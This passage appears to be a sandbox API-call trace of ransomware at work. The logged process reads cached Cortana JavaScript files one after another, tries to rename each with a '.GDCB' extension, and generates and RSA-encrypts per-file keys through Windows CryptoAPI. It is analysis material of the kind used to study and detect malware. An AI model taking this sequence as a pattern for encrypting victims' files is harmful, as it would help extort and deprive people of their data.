data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\69d5af3a[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\69d5af3a[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\69d5af3a[1].js.gdcb")) returned 0 [0226.931] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.935] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.935] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.935] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.935] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.940] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.940] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.940] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.940] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0226.944] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488240) returned 1 [0226.944] CryptGetKeyParam (in: hKey=0x6488240, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.944] CryptEncrypt (in: hKey=0x6488240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.944] GetLastError () returned 0x0 [0226.944] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.944] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0226.946] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488300) returned 1 [0226.946] CryptGetKeyParam (in: hKey=0x6488300, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.946] CryptEncrypt (in: hKey=0x6488300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.947] GetLastError () returned 0x0 [0226.947] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.947] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8590ff3b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8590ff3b[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.948] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.950] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.951] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x83ee9, lpOverlapped=0x0) returned 1 [0226.979] VirtualAlloc (lpAddress=0x0, dwSize=0x83ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.005] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8590ff3b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8590ff3b[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8590ff3b[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8590ff3b[1].js.gdcb")) returned 0 [0227.009] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.012] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.015] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.015] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.015] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.016] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.018] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488780) returned 1 [0227.018] CryptGetKeyParam (in: hKey=0x6488780, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.018] CryptEncrypt (in: hKey=0x6488780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.018] GetLastError () returned 0x0 [0227.018] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.018] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.020] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64886c0) returned 1 [0227.020] CryptGetKeyParam (in: hKey=0x64886c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.020] CryptEncrypt (in: hKey=0x64886c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.021] GetLastError () returned 0x0 [0227.021] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8636b4dd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8636b4dd[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.022] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0227.024] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0227.026] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x17264, lpOverlapped=0x0) returned 1 [0227.060] VirtualAlloc (lpAddress=0x0, dwSize=0x17270, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.067] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8636b4dd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8636b4dd[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8636b4dd[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8636b4dd[1].js.gdcb")) returned 0 [0227.071] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.074] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.074] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.074] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.075] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.077] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.077] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.077] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0227.079] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488480) returned 1 [0227.079] CryptGetKeyParam (in: hKey=0x6488480, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.079] CryptEncrypt (in: hKey=0x6488480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.080] GetLastError () returned 0x0 [0227.080] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.080] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.082] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488700) returned 1 [0227.082] CryptGetKeyParam (in: hKey=0x6488700, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.082] CryptEncrypt (in: hKey=0x6488700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.082] GetLastError () returned 0x0 [0227.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.082] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8925e2fd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8925e2fd[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.083] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0227.085] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0227.086] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x98a6, lpOverlapped=0x0) returned 1 [0227.099] VirtualAlloc (lpAddress=0x0, dwSize=0x98b0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.105] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8925e2fd[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8925e2fd[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\8925e2fd[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\8925e2fd[1].js.gdcb")) returned 0 [0227.109] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.112] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.112] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.112] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.112] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.114] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.115] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.115] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.115] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.115] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.117] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488080) returned 1 [0227.117] CryptGetKeyParam (in: hKey=0x6488080, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.117] CryptEncrypt (in: hKey=0x6488080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.117] GetLastError () returned 0x0 [0227.117] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.117] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.119] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488180) returned 1 [0227.119] CryptGetKeyParam (in: hKey=0x6488180, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.119] CryptEncrypt (in: hKey=0x6488180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.120] GetLastError () returned 0x0 [0227.120] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.120] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\916eb510[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\916eb510[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.121] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0227.123] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0227.136] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x3e46, lpOverlapped=0x0) returned 1 [0227.145] VirtualAlloc (lpAddress=0x0, dwSize=0x3e50, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.150] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\916eb510[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\916eb510[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\916eb510[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\916eb510[1].js.gdcb")) returned 0 [0227.153] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.157] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.157] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.157] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.157] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.160] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.160] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.160] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.160] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.162] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488640) returned 1 [0227.162] CryptGetKeyParam (in: hKey=0x6488640, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.162] CryptEncrypt (in: hKey=0x6488640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.162] GetLastError () returned 0x0 [0227.162] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.162] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.164] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488500) returned 1 [0227.164] CryptGetKeyParam (in: hKey=0x6488500, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.164] CryptEncrypt (in: hKey=0x6488500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.164] GetLastError () returned 0x0 [0227.164] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.164] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\a282b3bf[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\a282b3bf[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.166] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0227.168] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0227.169] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x799a, lpOverlapped=0x0) returned 1 [0227.182] VirtualAlloc (lpAddress=0x0, dwSize=0x79a0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.187] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 